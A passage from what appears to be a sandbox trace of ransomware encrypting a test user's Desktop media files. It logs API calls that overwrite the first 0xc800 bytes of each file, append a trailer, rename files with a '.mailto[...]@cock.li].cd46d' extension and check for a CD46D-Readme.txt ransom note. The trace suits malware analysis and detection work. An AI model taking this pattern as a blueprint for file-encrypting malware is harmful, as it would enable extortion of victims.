0x429688 [0053.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0053.749] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96fa100 [0053.753] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429688 [0053.753] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295c0 [0053.753] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295c0) returned 1 [0053.753] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0053.753] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0053.753] WriteFile (in: hFile=0x5a0, lpBuffer=0x96fa100*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x867f970, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesWritten=0x867f970*=0xc800, lpOverlapped=0x0) returned 1 [0053.767] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0053.767] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97b7008) returned 1 [0053.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ce550 [0053.767] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.767] WriteFile (in: hFile=0x5a0, lpBuffer=0x12d09960*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x867f9f0, lpOverlapped=0x0 | out: lpBuffer=0x12d09960*, lpNumberOfBytesWritten=0x867f9f0*=0x105, lpOverlapped=0x0) returned 1 [0053.919] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0053.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce580) returned 1 [0053.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295c0) returned 1 [0053.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce550) returned 1 [0053.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0053.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429660) returned 1 [0053.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429520) returned 1 [0053.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0053.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45ced0 [0053.920] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3" [0053.920] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0053.920] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x867f9a8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4daa0 [0054.662] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4daa0) returned 1 [0054.662] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48f120) returned 1 [0054.662] NtQueryInformationFile (in: FileHandle=0x5a0, IoStatusBlock=0x867f9b4, FileInformation=0x867f98c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x867f9b4, FileInformation=0x867f98c) returned 0x0 [0054.662] NtSetInformationFile (FileHandle=0x5a0, IoStatusBlock=0x867f9b4, FileInformation=0x867f98c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.685] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0054.685] FlushFileBuffers (hFile=0x5a0) returned 1 [0054.686] CloseHandle (hObject=0x5a0) returned 1 [0054.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0054.689] wcscpy (in: _Dest=0x418fc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.689] wcscat (in: _Dest=0x418fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.689] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d98) returned 1 Thread: id = 282 os_tid = 0xaec [0046.996] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cqpwpex2vsv9pxqs0xdy.mp3")) returned 0x20 [0046.996] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3", dwFileAttributes=0x20) returned 1 [0055.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cqpwpex2vsv9pxqs0xdy.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5a4 [0055.879] GetFileSizeEx (in: hFile=0x5a4, lpFileSize=0x83ff77c | out: lpFileSize=0x83ff77c*=62903) returned 1 [0055.879] SetFilePointerEx (in: hFile=0x5a4, liDistanceToMove=0xf5b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.879] ReadFile (in: hFile=0x5a4, lpBuffer=0x83ff700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x83ff6fc, lpOverlapped=0x0 | out: lpBuffer=0x83ff700*, lpNumberOfBytesRead=0x83ff6fc*=0x4, lpOverlapped=0x0) returned 1 [0055.880] SetFilePointerEx (in: hFile=0x5a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.880] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0600 [0055.880] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d05d8 [0055.880] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0055.880] NtQuerySystemTime (in: CurrentTime=0x83ff6dc | out: CurrentTime=0x83ff6dc*=132174898198560000) returned 0x0 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x39fa4276 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x2a72f4b1 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x6068660b [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x2ca79091 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x41e3b5f0 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x2113229f [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x2e69228e [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x49261059 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x64324862 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x4212adc [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x421b6724 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x7921fbc [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x7fba0027 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x316c600e [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x5a34d3d9 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x4a582dd1 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x13137050 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x2c6bfa51 [0055.880] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x71cc3d3 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x5d412f1d [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x4119315a [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x6613ec1 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x572be988 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x6c3a8766 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x30160b05 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x53f7dbd0 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x3e9cf778 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x87e3609 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x69393a1e [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x549bf92c [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x6c3a8766 [0055.881] RtlRandomEx (in: Seed=0x83ff6e8 | out: Seed=0x83ff6e8) returned 0x3886cf12 [0055.892] SetFilePointerEx (in: hFile=0x5a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.892] ReadFile (in: hFile=0x5a4, lpBuffer=0x96fa100, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x83ff6bc, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesRead=0x83ff6bc*=0xc800, lpOverlapped=0x0) returned 1 [0055.893] SetFilePointerEx (in: hFile=0x5a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0055.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b1e0 [0055.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0600 [0055.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0600) returned 1 [0055.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x97b7008 [0055.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0600 [0055.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0055.895] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0055.895] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0055.895] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0055.895] WriteFile (in: hFile=0x5a4, lpBuffer=0x97b7008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x83ff6bc, lpOverlapped=0x0 | out: lpBuffer=0x97b7008*, lpNumberOfBytesWritten=0x83ff6bc*=0xc800, lpOverlapped=0x0) returned 1 [0061.380] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97b7008) returned 1 [0061.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0061.381] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x44c4c8 [0061.381] SetFilePointerEx (in: hFile=0x5a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.381] WriteFile (in: hFile=0x5a4, lpBuffer=0x12d7a1c0*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x83ff73c, lpOverlapped=0x0 | out: lpBuffer=0x12d7a1c0*, lpNumberOfBytesWritten=0x83ff73c*=0x121, lpOverlapped=0x0) returned 1 [0061.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a1c0) returned 1 [0061.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0061.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ac8) returned 1 [0061.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c4c8) returned 1 [0061.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0600) returned 1 [0061.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05d8) returned 1 [0061.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06a0) returned 1 [0061.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05b0) returned 1 [0061.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00060 [0061.475] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3" [0061.475] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0061.475] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x83ff6f4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x424230 [0061.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431ec8) returned 1 [0061.574] NtQueryInformationFile (in: FileHandle=0x5a4, IoStatusBlock=0x83ff700, FileInformation=0x83ff6d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x83ff700, FileInformation=0x83ff6d8) returned 0x0 [0061.574] NtSetInformationFile (FileHandle=0x5a4, IoStatusBlock=0x83ff700, FileInformation=0x83ff6d8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0061.576] FlushFileBuffers (hFile=0x5a4) returned 1 [0062.199] CloseHandle (hObject=0x5a4) returned 1 [0062.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437d78 [0062.668] wcscpy (in: _Dest=0x437d78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0062.668] wcscat (in: _Dest=0x437d78, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0062.668] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0062.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437d78) returned 1 [0062.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446c38) returned 1 Thread: id = 283 os_tid = 0xaf0 [0046.997] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e-vsjacofd9.m4a")) returned 0x20 [0046.997] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a", dwFileAttributes=0x20) returned 1 [0054.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e-vsjacofd9.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5a8 [0054.425] GetFileSizeEx (in: hFile=0x5a8, lpFileSize=0x877fa78 | out: lpFileSize=0x877fa78*=101821) returned 1 [0054.425] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x18db9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.425] ReadFile (in: hFile=0x5a8, lpBuffer=0x877f9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x877f9f8, lpOverlapped=0x0 | out: lpBuffer=0x877f9fc*, lpNumberOfBytesRead=0x877f9f8*=0x4, lpOverlapped=0x0) returned 1 [0054.426] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.426] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0054.426] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06f0 [0054.426] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06a0 [0054.426] NtQuerySystemTime (in: CurrentTime=0x877f9d8 | out: CurrentTime=0x877f9d8*=132174898184052000) returned 0x0 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x42e680f4 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x472ecdc4 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x178fd5cb [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0xce2c628 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x2d0134e0 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x79a6b88c [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x2f52484c [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x489bc861 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x6f4c0fca [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x5d59af28 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x3465d206 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x11c0a48d [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x5ccc122d [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x63d5fea5 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x5391c37c [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x32a3331f [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0xa188915 [0054.426] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x42b3ab54 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x579fa4f6 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x72e89a8c [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x3cfede38 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x660ccc31 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x2c36ea65 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x4fc8a791 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x5b4a736d [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0xfc99d4b [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0xa3a1ad7 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x50ddd418 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x2399629b [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x3241358f [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x11d827b9 [0054.427] RtlRandomEx (in: Seed=0x877f9e4 | out: Seed=0x877f9e4) returned 0x3591d9fc [0054.440] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.440] ReadFile (in: hFile=0x5a8, lpBuffer=0x9760138, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x877f9b8, lpOverlapped=0x0 | out: lpBuffer=0x9760138*, lpNumberOfBytesRead=0x877f9b8*=0xc800, lpOverlapped=0x0) returned 1 [0054.440] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.440] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44baf0 [0054.440] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437940 [0054.440] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0054.440] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06c8) returned 1 [0054.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x976c940 [0054.445] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0054.445] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06a0 [0054.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06a0) returned 1 [0054.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0054.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baf0) returned 1 [0054.445] WriteFile (in: hFile=0x5a8, lpBuffer=0x976c940*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x877f9b8, lpOverlapped=0x0 | out: lpBuffer=0x976c940*, lpNumberOfBytesWritten=0x877f9b8*=0xc800, lpOverlapped=0x0) returned 1 [0054.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x976c940) returned 1 [0054.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9760138) returned 1 [0054.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40aa68 [0054.504] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.504] WriteFile (in: hFile=0x5a8, lpBuffer=0x441888*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x877fa38, lpOverlapped=0x0 | out: lpBuffer=0x441888*, lpNumberOfBytesWritten=0x877fa38*=0x10f, lpOverlapped=0x0) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441888) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01c8) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06c8) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06f0) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0678) returned 1 [0054.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0650) returned 1 [0054.525] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02120 [0054.525] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a" [0054.526] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: 